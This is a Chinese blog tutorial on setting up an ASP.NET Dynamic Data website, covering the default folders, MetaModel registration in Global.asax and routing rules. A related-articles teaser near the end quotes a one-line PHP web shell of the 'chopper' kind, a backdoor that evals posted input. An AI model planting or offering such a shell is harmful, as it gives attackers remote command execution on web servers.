Asp.net dynamic Data web Site 之二创建第一个Web Site

Asp.net dynamic Data web Site 之二创建第一个Web Site

本专题介绍一个ASP.NET动态数据的网站的布局,其中包括这些文件默认情况下创建相关文件夹和文件。

创建一个动态数据网站(Dynamic Data Web Site)

环境

vs.net 2008 + sp1

Dynamic Data Wizard 080608(http://www.codeplex.com/aspnet)

提供一个向导方式创建一个Dynamic Data Web Site

知识点:

LINQ-TO-SQL,Ado.net framework entity

System.Web.Routing

  1. 通过动态数据网站模板创建一个项目Dynamic Data Entities Web Site(数据源是ado.net entity framework 提供) ,Dynamic Data Web Site(数据源是LINQ-To-SQL提供)

图表 1

  1. 利用动态数据创建的网站布局,就是这些模板生成用户控件包括网页模板,字段模板,内容(css,图片,js等)。

图表 2

图表 3

文件夹和文件

下表介绍了在ASP.NET动态数据网站在根目录级创建的文件和文件夹。

文件和文件夹

描述

DynamicData

包含显示和操作数据的页面和自定义控件,页面,和子控件如字段控件

Default.aspx

一个默认首页面显示所有注册的数据模型及表名。通过一个超链接,显示选择表的内容。

Global.asax

包含一个 注册数据库实例元模型的方法,并新增一个RouteCollection对象

Site.css

站点和控件的显示风格

Site.master

站点模板

web.config

配置文件,加载必要的类库

Web.Config

图表 4

  1. 添加一个元数据库实例模型(LINQ-TO-SQL)

图表 5

  1. 注册这个元数据模型,打开Global.asax

public static void RegisterRoutes(RouteCollection routes) {

MetaModel model = new MetaModel();

//model.RegisterContext(typeof(YourDataContextType), new ContextConfiguration() { ScaffoldAllTables = false });

routes.Add(new DynamicDataRoute("{table}/{action}.aspx") {

Constraints = new RouteValueDictionary(new { action = "List|Details|Edit|Insert" }),

Model = model

});

//routes.Add(new DynamicDataRoute("{table}/ListDetails.aspx") {

// Action = PageAction.List,

// ViewName = "ListDetails",

// Model = model

//});

//routes.Add(new DynamicDataRoute("{table}/ListDetails.aspx") {

// Action = PageAction.Details,

// ViewName = "ListDetails",

// Model = model

//});

}

将创建的LINQ-TO-SQL注册到MetaModel中

model.RegisterContext(typeof(NorhwindDbDataContext), new ContextConfiguration() { ScaffoldAllTables = true });

  1. 测试一下,编译后F5,一个网站创建完毕

图表 6

首页的代码片断,显示所有注册的表

protected void Page_Load(object sender, EventArgs e)

{

System.Collections.IList visibleTables = MetaModel.Default.VisibleTables;

if (visibleTables.Count == 0)

{

throw new InvalidOperationException("There are no accessible tables. Make sure that at least one data model is registered in Global.asax and scaffolding is enabled or implement custom pages.");

}

Menu1.DataSource = visibleTables;

Menu1.DataBind();

}

图表 7

各个页面中的超链接通过RouteCollection(System.Web.Routing)的路由规则进行页面间的跳转和对数据新增/修改/删除操作;关于System.Web.Routing在asp.net mvc中有比较详细的介绍

routes.Add(new DynamicDataRoute("{table}/{action}.aspx") {

Constraints = new RouteValueDictionary(new { action = "List|Details|Edit|Insert" }),

Model = model

});

下期讲如何通过Routing的规则控制表的修改,新增操作页面;

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏逸鹏说道

初识SignalR~仿QQ即时聊天(群发,单发)(Web,WPF等Demo演示)【上】

官方demo:http://www.asp.net/signalr/overview/getting-started/tutorial-getting-star...

51960
来自专栏逸鹏说道

ASP.NET + SqlSever 大数据解决方案 PK HADOOP

ASP.NET + SqlSever 大数据解决方案 PK HADOOP 半个月前看到博客园有人说.NET不行那篇文章,我只想说你们有时间去抱怨不如多写些实在的...

56370
来自专栏逸鹏说道

EntityFramework教程整理

ASP.NET MVC 系列文章 以下文章属于ASP.NET MVC 1.0 正式版 ASP.NET MVC雕虫小技 1-2 ASP.NET MVC 重点教程一...

30260
来自专栏逸鹏说道

Linux 部署ASP.NET SQLite 应用 的坎坷之旅 附demo及源码

Linux 部署ASP.NET SQLite 应用 的坎坷之旅。文章底部 附示例代码。 有一台闲置的Linux VPS,尝试着部署一下.NET 程序,结果就踏上...

46230
来自专栏草根专栏

使用两种方法让 ASP.NET Core 实现遵循 HATEOAS 结构的 RESTful API

HATEOAS(Hypermedia as the engine of application state)是 REST 架构风格中最复杂的约束,也是构建成熟 ...

637110
来自专栏逸鹏说道

ASP.NET5 Beta8可用性

ASP.NET5 beta8现已上都的NuGet作为一个工具升级到Visual Studio2015!此版本极大地扩展.NET核心对OS X和Linux所支持的...

403160
来自专栏逸鹏说道

最短的各类一句话木马

菜刀readme.txt中附带一3个一句话: PHP: 1 <!--?php @eval($_POST['chopper']);?--> ASP: 1 &l...

63030
来自专栏逸鹏说道

OSX 上初步尝试 asp.net 5

根据微软的介绍,与我之前的一些总结,可以看到 ASP.NET 以及 .NET 平台会有下面几个变化: 代码使用 Apache 协议开源,并且托管于 Github...

29470
来自专栏c#开发者

JavaScript和ASP.NET的传值

JavaScript和ASP.NET的传值 因项目需要,最近一段时间里对于js的开发有了一定的了解。在基于ASP.NET的开发中,经常性的需要JS脚本来增加一些...

48760
来自专栏逸鹏说道

NET跨平台:在Ubuntu下搭建ASP.NET 5开发环境

0x00 写在前面的废话 年底这段时间实在太忙了,各种事情都凑在这个时候,没时间去学习自己感兴趣的东西,所以博客也好就没写了。最近工作上有个小功能要做成Web应...

34730

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励